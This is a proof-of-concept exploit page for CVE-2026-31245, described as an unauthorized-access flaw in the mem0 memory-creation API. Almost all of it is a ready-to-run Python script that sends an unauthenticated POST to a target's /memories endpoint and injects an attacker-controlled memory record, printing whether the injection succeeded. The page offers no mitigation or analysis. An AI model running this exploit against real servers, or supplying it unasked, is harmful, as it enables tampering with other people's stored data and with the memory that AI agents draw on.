CVE-2026-31245 mem0内存创建API未授权访问漏洞

import requests # Target URL # Replace with the actual address of the vulnerable mem0 server target_url = "http://target-ip:port/memories" # Malicious payload to be injected into the database malicious_payload = { "text": "This is a malicious memory entry injected by CVE-2026-31245 PoC.", "user_id": "attacker_controlled_id", "metadata": { "is_malicious": True, "source": "exploit" } } try: # Send unauthenticated POST request to the vulnerable endpoint print(f"[*] Sending payload to {target_url}...") response = requests.post(target_url, json=malicious_payload, timeout=10) # Check if the injection was successful (HTTP 200 or 201 usually indicates success) if response.status_code in [200, 201]: print("[+] Exploit successful! Data injected.") print("[+] Server response:", response.text) else: print(f"[-] Exploit failed or unexpected status code: {response.status_code}") print("[-] Server response:", response.text) except requests.exceptions.RequestException as e: print(f"[-] An error occurred during the request: {e}")